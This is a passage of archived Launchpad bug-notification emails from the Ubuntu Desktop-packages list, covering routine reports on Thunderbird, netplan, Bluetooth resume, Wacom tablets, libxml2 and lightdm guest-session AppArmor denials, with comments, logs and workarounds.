xserver.version: 2:1.19.6-1ubuntu4.4 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: apport-bug bionic i386 third-party-packages ubuntu -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923512 Title: Simple Scan Status in xorg package in Ubuntu: New Bug description: Non si avvia ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-122.124-generic 4.15.18 Uname: Linux 4.15.0-122-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.17 Architecture: i386 CompositorRunning: None Date: Mon Apr 12 23:52:06 2021 DistUpgraded: 2020-12-01 13:10:34,496 DEBUG /openCache(), new cache size 61032 DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.18, 4.15.0-122-generic, i686: installed GraphicsCard: Intel Corporation 4 Series Chipset Integrated Graphics Controller [8086:2e32] (rev 03) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4 Series Chipset Integrated Graphics Controller [1043:836d] InstallationDate: Installed on 2019-10-24 (536 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release i386 (20160420.1) MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-122-generic root=UUID=6461ddc3-6faf-4eb3-8849-9f07b17f6e9d ro quiet splash Renderer: Software SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2020-12-01 (132 days ago) dmi.bios.date: 06/22/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 0416 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5QPL-AM dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias:
[Desktop-packages] [Bug 1923505] [NEW] thunderbird 78.9.0 FTBFS on ppc64el
Public bug reported: The build hangs forever when compiling the webrender rust crate (see https://launchpad.net/ubuntu/+source/thunderbird/1:78.9.0+build2-0ubuntu3/+build/21368163). I'm attaching the full build log for future reference. This happens when building with rustc 1.50.0+dfsg1+llvm-0ubuntu4 and 1.50.0+dfsg1+llvm-0ubuntu5 (the latter is the version currently in the hirsute release pocket). The build completes when building with rustc 1.50.0+dfsg1+llvm-0ubuntu2. ** Affects: thunderbird (Ubuntu) Importance: High Assignee: Olivier Tilloy (osomon) Status: Triaged ** Attachment added: "buildlog_ubuntu-hirsute-ppc64el.thunderbird_1:78.9.0+build2-0ubuntu3_BUILDING.txt.gz" https://bugs.launchpad.net/bugs/1923505/+attachment/5486995/+files/buildlog_ubuntu-hirsute-ppc64el.thunderbird_1%3A78.9.0+build2-0ubuntu3_BUILDING.txt.gz ** Changed in: thunderbird (Ubuntu) Assignee: (unassigned) => Olivier Tilloy (osomon) ** Changed in: thunderbird (Ubuntu) Status: New => Triaged ** Changed in: thunderbird (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to thunderbird in Ubuntu. https://bugs.launchpad.net/bugs/1923505 Title: thunderbird 78.9.0 FTBFS on ppc64el Status in thunderbird package in Ubuntu: Triaged Bug description: The build hangs forever when compiling the webrender rust crate (see https://launchpad.net/ubuntu/+source/thunderbird/1:78.9.0+build2-0ubuntu3/+build/21368163). I'm attaching the full build log for future reference. This happens when building with rustc 1.50.0+dfsg1+llvm-0ubuntu4 and 1.50.0+dfsg1+llvm-0ubuntu5 (the latter is the version currently in the hirsute release pocket). The build completes when building with rustc 1.50.0+dfsg1+llvm-0ubuntu2. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/thunderbird/+bug/1923505/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1718227] Re: replacement of ifupdown with netplan needs integration for /etc/network/if{up, down}.d scripts
just tried to use netplan on a public facing server, discovered there's
no `ucarp` integration, and discovered this bug.
is there any ETA on these outstanding items? network HA is a nightmare
without CARP, this feels like essential server functionality.
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to wpa in Ubuntu.
https://bugs.launchpad.net/bugs/1718227
Title:
replacement of ifupdown with netplan needs integration for
/etc/network/if{up,down}.d scripts
Status in aiccu package in Ubuntu:
Invalid
Status in aoetools package in Ubuntu:
New
Status in avahi package in Ubuntu:
New
Status in bind9 package in Ubuntu:
Invalid
Status in chrony package in Ubuntu:
Fix Released
Status in clamav package in Ubuntu:
Triaged
Status in controlaula package in Ubuntu:
Invalid
Status in ethtool package in Ubuntu:
Triaged
Status in guidedog package in Ubuntu:
New
Status in htpdate package in Ubuntu:
New
Status in ifenslave package in Ubuntu:
Won't Fix
Status in ifmetric package in Ubuntu:
Won't Fix
Status in ifupdown-multi package in Ubuntu:
New
Status in ifupdown-scripts-zg2 package in Ubuntu:
Invalid
Status in isatapd package in Ubuntu:
New
Status in lprng package in Ubuntu:
New
Status in miredo package in Ubuntu:
New
Status in mythtv package in Ubuntu:
New
Status in nplan package in Ubuntu:
New
Status in nss-pam-ldapd package in Ubuntu:
New
Status in ntp package in Ubuntu:
Won't Fix
Status in openntpd package in Ubuntu:
New
Status in openresolv package in Ubuntu:
Won't Fix
Status in openssh package in Ubuntu:
Fix Released
Status in openvpn package in Ubuntu:
Confirmed
Status in openvswitch package in Ubuntu:
Triaged
Status in postfix package in Ubuntu:
New
Status in quicktun package in Ubuntu:
New
Status in resolvconf package in Ubuntu:
New
Status in sendmail package in Ubuntu:
New
Status in shorewall-init package in Ubuntu:
New
Status in sidedoor package in Ubuntu:
New
Status in slrn package in Ubuntu:
New
Status in tinc package in Ubuntu:
New
Status in ubuntu-fan package in Ubuntu:
Fix Released
Status in ucarp package in Ubuntu:
New
Status in uml-utilities package in Ubuntu:
New
Status in uruk package in Ubuntu:
New
Status in vlan package in Ubuntu:
Won't Fix
Status in vzctl package in Ubuntu:
Triaged
Status in wide-dhcpv6 package in Ubuntu:
New
Status in wpa package in Ubuntu:
New
Bug description:
when network is configured with ifupdown, scripts in
/etc/network/ifup.d/ were called on network being brought up and
/etc/network/ifdown.d were called on network being brought down.
Any packages that shipped these hooks need to be verified to have the
same functionality under a netplan configured system.
# binpkgs=$(apt-file search /etc/network/if-up | sed 's,: .*,,' | sort -u)
# for i in $binpkgs; do
src=$(apt-cache show $i | awk '$1 == "Source:" { print $2; exit(0); }');
[ -z "$src" ] && src="$i"; echo $src; done | sort -u
aiccu
aoetools
avahi
bind9
chrony
clamav
controlaula
epoptes
ethtool
guidedog
htpdate
ifenslave
ifmetric
ifupdown-extra
ifupdown-multi
ifupdown-scripts-zg2
isatapd
lprng
miredo
mythtv-backend
nss-pam-ldapd
ntp
openntpd
openresolv
openssh
openvpn
postfix
quicktun
resolvconf
sendmail
shorewall-init
sidedoor
slrn
tinc
ubuntu-fan
ucarp
uml-utilities
uruk
vlan
vzctl
wide-dhcpv6
wpa
Related bugs:
* bug 1718227: replacement of ifupdown with netplan needs integration for
/etc/network/if{up,down}.d scripts
* bug 1713803: replacement of resolvconf with systemd needs integration
* bug 1717983: replacement of isc-dhcp-client with with systemd-networkd for
dhclient needs integration
ProblemType: Bug
DistroRelease: Ubuntu 17.10
Package: netplan (not installed)
ProcVersionSignature: Ubuntu 4.12.0-11.12-generic 4.12.5
Uname: Linux 4.12.0-11-generic x86_64
NonfreeKernelModules: zfs zunicode zavl zcommon znvpair
ApportVersion: 2.20.7-0ubuntu1
Architecture: amd64
CurrentDesktop: GNOME
Date: Tue Sep 19 10:53:08 2017
EcryptfsInUse: Yes
InstallationDate: Installed on 2015-07-23 (789 days ago)
InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20150722.1)
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_US.UTF-8
SHELL=/bin/bash
SourcePackage: plan
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/aiccu/+bug/1718227/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923323] Re: Bluetooth will not stay OFF upon resume
Correction: "systemctl stop bluetooth" appears to have more durable results wrt suspend/wake than I first thought, though I thought I tested it pretty thoroughly. If I stop the service..., it appears to stay stopped following suspend/wake. For the moment then, my workaround is to set AutoEnable=false and whenever I want to turn BT off..., do a "systemctl stop bluetooth". -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-power-manager in Ubuntu. https://bugs.launchpad.net/bugs/1923323 Title: Bluetooth will not stay OFF upon resume Status in gnome-power-manager package in Ubuntu: New Bug description: First: apologies for the possibly incorrect package assignment..., but "ubuntu-bug" required I select something. Second..., this is pasted from two postings I made in Ubuntu Forums... --- Thinkpad P15gen1, Ubuntu 20.04: Repeat-by: Enable BT using the top menu bar dropdown and connect with a BT speaker (a BT stereo adapter in this case). Play some music..., whatever. Disable BT using the top menu bar dropdown. Sleep the machine (close the lid). Note: machine is set to suspend and lock screen upon lid closure. Wake the machine (open the lid) and unlock screen. BT is enabled and connects even though it was disabled prior to suspend. Heh, the funny thing is that BT has been very reliable in every other way. How do I get BT to stay OFF when I turn it off? (..., and still have it turn on, and work, when I turn it on ). --- I've spent some time trying to characterize the problem. None of the settings related to power management seemed to relate to the BT failing to stay OFF problem, however..., along the way, I did find another interesting and perhaps related problem: The following setting: "Power"->"Power Saving"->"Bluetooth (Bluetooth can be turned off to save power)"->OFF/ON appears to duplicate the function of the "Bluetooth"->OFF/ON switch setting. They do the EXACT same thing. They mirror each other. E.g., when BT is turned on, the BT power save switch will be on. Turn BT off..., and the BT power save switch will turn off. Now..., turn BT back on, and then turn the BT power save switch off..., the entirety of BT will turn off..., EVEN if there is an active, running connection. Turn the BT power save switch back ON..., and BT will turn back ON. This is bogus. If the mapping of the GUI functionality to BT settings is broken, it's not a long stretch to think some other mapping or use/management of BT settings is broken as well..., especially since it's in the neighborhood of power management. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-power-manager 3.32.0-2 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 12:08:47 2021 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-sutton-focal-amd64-20201012-119+sutton-simon-focal-amd64+iso InstallationDate: Installed on 2020-10-22 (170 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20201012-17:03 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-power-manager UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/1923323/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923323] Re: Bluetooth will not stay OFF upon resume
Some observations: /etc/bluetooth/main.conf: AutoEnable is set to "true". This causes BT to be enabled upon boot REGARDLESS of any GNOME settings the user might have set. When I set it to "false", I've tried rebooting in these two scenarios: 1. If the GNOME setting is OFF prior to reboot..., BT stays OFF upon reboot. 2. If the GNOME setting is ON prior to reboot..., BT turns ON upon reboot. HOWEVER..., in ALL suspend/wake scenarios, regardless of the AutoEnable setting or the GNOME setting, OR even if a "systemctl stop bluetooth" is performed prior to suspend/wake, (or any permutation of all 3)..., BT is re-enabled upon wake. This SEEMS to be some sort of lack of coordination between systemd configuration and some GNOME component. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-power-manager in Ubuntu. https://bugs.launchpad.net/bugs/1923323 Title: Bluetooth will not stay OFF upon resume Status in gnome-power-manager package in Ubuntu: New Bug description: First: apologies for the possibly incorrect package assignment..., but "ubuntu-bug" required I select something. Second..., this is pasted from two postings I made in Ubuntu Forums... --- Thinkpad P15gen1, Ubuntu 20.04: Repeat-by: Enable BT using the top menu bar dropdown and connect with a BT speaker (a BT stereo adapter in this case). Play some music..., whatever. Disable BT using the top menu bar dropdown. Sleep the machine (close the lid). Note: machine is set to suspend and lock screen upon lid closure. Wake the machine (open the lid) and unlock screen. BT is enabled and connects even though it was disabled prior to suspend. Heh, the funny thing is that BT has been very reliable in every other way. How do I get BT to stay OFF when I turn it off? (..., and still have it turn on, and work, when I turn it on ). --- I've spent some time trying to characterize the problem. None of the settings related to power management seemed to relate to the BT failing to stay OFF problem, however..., along the way, I did find another interesting and perhaps related problem: The following setting: "Power"->"Power Saving"->"Bluetooth (Bluetooth can be turned off to save power)"->OFF/ON appears to duplicate the function of the "Bluetooth"->OFF/ON switch setting. They do the EXACT same thing. They mirror each other. E.g., when BT is turned on, the BT power save switch will be on. Turn BT off..., and the BT power save switch will turn off. Now..., turn BT back on, and then turn the BT power save switch off..., the entirety of BT will turn off..., EVEN if there is an active, running connection. Turn the BT power save switch back ON..., and BT will turn back ON. This is bogus. If the mapping of the GUI functionality to BT settings is broken, it's not a long stretch to think some other mapping or use/management of BT settings is broken as well..., especially since it's in the neighborhood of power management. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: gnome-power-manager 3.32.0-2 ProcVersionSignature: Ubuntu 5.8.0-48.54~20.04.1-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Apr 10 12:08:47 2021 DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-sutton-focal-amd64-20201012-119+sutton-simon-focal-amd64+iso InstallationDate: Installed on 2020-10-22 (170 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20201012-17:03 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-power-manager UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/1923323/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1914286] Re: xsetwacom non-functional after hot-plug
Note, this appears to be a result of every hotplug resulting in Mode being set to relative. Changing mode to absolute enables the mapping to work. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xf86-input-wacom in Ubuntu. https://bugs.launchpad.net/bugs/1914286 Title: xsetwacom non-functional after hot-plug Status in xf86-input-wacom package in Ubuntu: New Bug description: On a multi monitor display, monitoring mapping using the built in gnome tool or xsetwacom does not function if the drawing tablet is unplugged and reinserted. Essentially, the mapping only works if the tablet is plugged in when gdm starts. While verbose output does suggest that it is remapping, the remapping is not enforced: ... Device 'Wacom Intuos4 6x9 Pen stylus' (11) found. ... Remapping to output area 1680x1050 @ 0,0. ... Transformation matrix: ... [ 0.318182 0.00 0.00 ] ... [ 0.00 0.875000 0.00 ] ... [ 0.00 0.00 1.00 ] Kernel: 5.8.0-41-generic Gnome: 3.36.8 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xf86-input-wacom/+bug/1914286/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1895839] Re: CVE-2020-24977
Please note that upstream has indicated that this issue only affects the xmllint binary, and not the shared library. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libxml2 in Ubuntu. https://bugs.launchpad.net/bugs/1895839 Title: CVE-2020-24977 Status in libxml2 package in Ubuntu: Fix Released Status in libxml2 source package in Hirsute: Fix Released Status in libxml2 package in Debian: Fix Released Bug description: GNOME project libxml2 v2.9.10 and earlier have a global buffer over- read vulnerability in xmlEncodeEntitiesInternal at libxml2/entities.c. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24977 Upstream patch: https://gitlab.gnome.org/GNOME/libxml2/-/commit/50f06b3efb638efb0abd95dc62dca05ae67882c2 Bug report: https://gitlab.gnome.org/GNOME/libxml2/-/issues/178 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libxml2/+bug/1895839/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1921655] Re: lightdm-guest-session ICEauthority error
** Description changed:
+ [Impact]
+
+ If you enable the guest session feature on e.g. Ubuntu MATE, you are met
+ by an error message when trying to enter a guest session:
+
+ "Could not update file ICEauthority file /run/user/XXX/ICEauthority"
+
+ Even if it's not always a fatal error (the login may succeed after a few
+ minutes), the user experience is really bad, and you are inclined to
+ conclude that you are completely blocked from using the feature.
+
+ The proposed fix adds a rule to the lightdm-guest-session AppArmor
+ profile and prevents the error from happening.
+
+ [Test Plan]
+
+ On an updated Ubuntu MATE installation:
+
+ * Enable guest session
+
+ sudo sh -c 'printf "[Seat:*]\nallow-guest=true\n"
+ >/etc/lightdm/lightdm.conf.d/50-enable-guest.conf'
+
+ * Install lightdm from {focal,groovy}-proposed
+
+ * Reboot
+
+ You should now be able to enter a guest session without being stopped by
+ the ICEauthority error.
+
+ [Where problems could occur]
+
+ This one-liner is a harmless change.
+
+ The guest session is run in an unconfined mode since Ubuntu 16.10.
+ That's why the feature is disabled by default.
+
+ So if the additional rule would be wrong somehow (which I have no reason
+ to believe), it wouldn't break the AppArmor security layer for the
+ simple reason that it's already broken to begin with.
+
+ [Original description]
+
Hello I ran into trouble to start the lightdm-guest-session in linux
mint (cinnamon).
## How to reproduce:
- - boot linux mint (20.02) or ubuntu mate (20.04) I haven't tested other
distros but I think others are also affected.
- - enable guest user session
- - try to login as guest user
+ - boot linux mint (20.02) or ubuntu mate (20.04) I haven't tested other
distros but I think others are also affected.
+ - enable guest user session
+ - try to login as guest user
## Error logs:
### Error Message:
` Could not update file ICEauthority file /run/user/XXX/ICEauthority`
### aa-notify:
- ```
+ ```
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/uid_map
Denied: w
Logfile: /var/log/kern.log
-
+
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/setgroups
Denied: w
Logfile: /var/log/kern.log
-
+
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/gid_map
Denied: w
Logfile: /var/log/kern.log
-
+
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8624/fd/
Denied: r
Logfile: /var/log/kern.log
```
### dmesg:
```
[ 218.831289] audit: type=1400 audit(1616864450.287:76): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=3916 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.263045] audit: type=1400 audit(1616865388.720:1084): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/9899/fd/" pid=9899 comm="gpg-agent" requested_mask="r"
denied_mask="r" fsuid=999 #ouid=0
[ 1157.899223] audit: type=1400 audit(1616865389.356:1085): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/1/cgroup" pid=9840 comm="cinnamon-sessio" requested_mask="r"
denied_mask="r" fsuid=999 ouid=0
[ 1157.899445] audit: type=1400 audit(1616865389.360:1086): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=9840 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.903410] audit: type=1400 audit(1616865389.364:1087): apparmor="DENIED"
operation="link" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/user/999/ICEauthority-l" pid=9840 comm="cinnamon-sessio"
requested_mask="l" denied_mask="l" fsuid=999 ouid=999
target="/run/user/999/ICEauthority-c"
```
## Solutions:
### bad but common work around
- Solutions I found in different forums were to move lightdm-guest-session into
complain mode like this:
+ Solutions I found in different forums were to move lightdm-guest-session into
complain mode like this:
`aa-complain /usr/lib/lightdm/lightdm-guest-session`
### maybe better sollution:
My fix would be to add this to `/etc/apparmor.d/lightdm-guest-session`:
```
...
/usr/lib/lightdm/lightdm-guest-session {
...
- owner /run/user/[0-9]*/ICEauthority-? l,`
+ owner /run/user/[0-9]*/ICEauthority-? l,`
...
}
```
I honestly have no clue about apparmor and I'm unsure where to post this but
I hope this maybe helps some other people in the future.
** Changed in: lightdm (Ubuntu Groovy)
Status: Incomplete => In Progress
** Changed in: lightdm (Ubuntu Focal)
Status: Triaged => In Progress
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to lightdm in Ubuntu.
[Desktop-packages] [Bug 1902801]
Could somebody please tell if this is working in the current beta? I usually avoid beta versions, but this one might be an exception since this function is extremely important to us. However, I'd rather not install a beta version to learn that it's not fixed yet :-) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to thunderbird in Ubuntu. https://bugs.launchpad.net/bugs/1902801 Title: Encrypted attachments cannot be opened or saved as decrypted files Status in thunderbird package in Ubuntu: Fix Released Status in Arch Linux: Fix Released Bug description: I have been using enigmail in thunderbird until I upgraded Ubuntu and with it thunderbird to the latest version 1:78.3.2+build1-0ubuntu1 As enigmail is now integrated in thunderbird, I have gone through the painful upgrade process (it does not allow to look into passwordmanager for the pasphrase of the gpg keys it wants to import by blocking all other windows), and decryption of emails now works. But when looking at a decrypted email, fully being able to read the text content, when I want to use the Menu option "Decrypt and Open" by right clicking on an attachment (pdf in this case), nothing happens. What I expect to happen: The pdf file being shown to me in the pdf viewer. Or some error being displayed, or maybe I am asked for my gpg passphrase again for additional security. When trying the option "Decrypt and save as", next I can select a folder and filename, (the pdf name without .gpg) and chose "save" - but when looking into that folder, there is no decrypted file. (I tried this plenty of time, I am sure its not there, and I did this action before the upgrade many times successfully). What I would expect: the attached file without the .gpg suffix (the filename proposed when opening the dialog, which I did not change) in the selected directory. $ lsb_release -rd Description: Ubuntu 20.10 Release: 20.10 $ apt-cache policy thunderbird thunderbird: Installed: 1:78.3.2+build1-0ubuntu1 Candidate: 1:78.3.2+build1-0ubuntu1 Version table: *** 1:78.3.2+build1-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages 100 /var/lib/dpkg/status To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/thunderbird/+bug/1902801/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1902801]
The use of External GnuPG in TB still does not allow to decrypt attachments! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to thunderbird in Ubuntu. https://bugs.launchpad.net/bugs/1902801 Title: Encrypted attachments cannot be opened or saved as decrypted files Status in thunderbird package in Ubuntu: Fix Released Status in Arch Linux: Fix Released Bug description: I have been using enigmail in thunderbird until I upgraded Ubuntu and with it thunderbird to the latest version 1:78.3.2+build1-0ubuntu1 As enigmail is now integrated in thunderbird, I have gone through the painful upgrade process (it does not allow to look into passwordmanager for the pasphrase of the gpg keys it wants to import by blocking all other windows), and decryption of emails now works. But when looking at a decrypted email, fully being able to read the text content, when I want to use the Menu option "Decrypt and Open" by right clicking on an attachment (pdf in this case), nothing happens. What I expect to happen: The pdf file being shown to me in the pdf viewer. Or some error being displayed, or maybe I am asked for my gpg passphrase again for additional security. When trying the option "Decrypt and save as", next I can select a folder and filename, (the pdf name without .gpg) and chose "save" - but when looking into that folder, there is no decrypted file. (I tried this plenty of time, I am sure its not there, and I did this action before the upgrade many times successfully). What I would expect: the attached file without the .gpg suffix (the filename proposed when opening the dialog, which I did not change) in the selected directory. $ lsb_release -rd Description: Ubuntu 20.10 Release: 20.10 $ apt-cache policy thunderbird thunderbird: Installed: 1:78.3.2+build1-0ubuntu1 Candidate: 1:78.3.2+build1-0ubuntu1 Version table: *** 1:78.3.2+build1-0ubuntu1 500 500 http://de.archive.ubuntu.com/ubuntu groovy/main amd64 Packages 100 /var/lib/dpkg/status To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/thunderbird/+bug/1902801/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1850651]
*** Bug 1616470 has been marked as a duplicate of this bug. *** -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to thunderbird in Ubuntu. https://bugs.launchpad.net/bugs/1850651 Title: [SRU] Authentication constantly re-requested for Google Status in Mozilla Thunderbird: Fix Released Status in thunderbird package in Ubuntu: Fix Released Status in thunderbird source package in Xenial: Fix Released Status in thunderbird source package in Bionic: Fix Released Status in thunderbird source package in Disco: Won't Fix Status in thunderbird source package in Eoan: Fix Released Status in thunderbird source package in Focal: Fix Released Bug description: [Impact] A recent server-side change with google e-mail accounts (gmail) means that thunderbird consistently fails to authenticate, prompting for the user's e-mail address and password over and over, without ever succeeding. This has been fixed upstream and is tracked by https://bugzilla.mozilla.org/show_bug.cgi?id=1592407. [Test Case] In a clean environment, launch thunderbird and add an existing gmail account. Thunderbird should auto-detect all the relevant parameters, and then an external webview should pop up to prompt for your e-mail address (it's not auto-filled, that's a separate issue that's also known upstream) and your password. After filling this in and authorizing thunderbird to access your e-mails, your account should be set up and thunderbird should start fetching e-mails from your inbox. Instead it fails to authenticate and displays the authentication pop up again. [Regression Potential] Low, as this is an official upstream point release that addresses only this regression (see https://www.thunderbird.net/en-US/thunderbird/60.9.1/releasenotes/). The fix is minimal and self-contained (https://hg.mozilla.org/releases/comm-esr60/rev/56b6d1b50647143c25efe642b37b02f65f9c4343), if the bug is indeed confirmed to be fixed then it should be safe. [Original Bug Description] When I use Thunderbird, it keeps failing to connect with my Google (Gmail) accounts. It keeps asking for authentication via the web portal, I seem to successfully give Thunderbird authentication, but no messages come in and, soon afterwards, the web portal comes up asking for login again. I am using OAuth2 (so this ( https://support.mozilla.org/en- US/questions/1201406 ) doesn't help. ProblemType: Bug DistroRelease: Ubuntu 19.04 Package: thunderbird 1:60.9.0+build1-0ubuntu0.19.04.1 ProcVersionSignature: Ubuntu 5.0.0-32.34-generic 5.0.21 Uname: Linux 5.0.0-32-generic x86_64 AddonCompatCheckDisabled: False ApportVersion: 2.20.10-0ubuntu27.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: adam 3444 F pulseaudio /dev/snd/pcmC0D0p: adam 3444 F...m pulseaudio BuildID: 20191007090404 Channel: Unavailable CurrentDesktop: ubuntu:GNOME Date: Wed Oct 30 14:56:50 2019 Extensions: extensions.sqlite corrupt or missing ForcedLayersAccel: False IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback IncompatibleExtensions: Unavailable (corrupt or non-existant compatibility.ini or extensions.sqlite) InstallationDate: Installed on 2017-08-03 (817 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412) IpRoute: default via 192.168.1.1 dev wlp3s0 proto dhcp metric 600 10.0.3.0/24 dev lxcbr0 proto kernel scope link src 10.0.3.1 linkdown 169.254.0.0/16 dev lxcbr0 scope link metric 1000 linkdown 172.29.0.0/16 dev ztnfad2dd7 proto kernel scope link src 172.29.35.74 192.168.1.0/24 dev wlp3s0 proto kernel scope link src 192.168.1.11 metric 600 Locales: extensions.sqlite corrupt or missing Plugins: Shockwave Flash - /usr/lib/browser-plugin-freshplayer-pepperflash/libfreshwrapper-flashplayer.so (browser-plugin-freshplayer-pepperflash) PrefSources: prefs.js Profiles: Profile0 (Default) - LastVersion=60.9.0/20191007090404 RelatedPackageVersions: browser-plugin-freshplayer-pepperflash 0.3.9-0ubuntu4 RunningIncompatibleAddons: False SourcePackage: thunderbird Themes: extensions.sqlite corrupt or missing UpgradeStatus: Upgraded to disco on 2019-05-22 (161 days ago) dmi.bios.date: 01/21/2016 dmi.bios.vendor: LENOVO dmi.bios.version: G1ETB0WW (2.70 ) dmi.board.asset.tag: Not Available dmi.board.name: 2347GU8 dmi.board.vendor: LENOVO dmi.board.version: Not Defined dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: 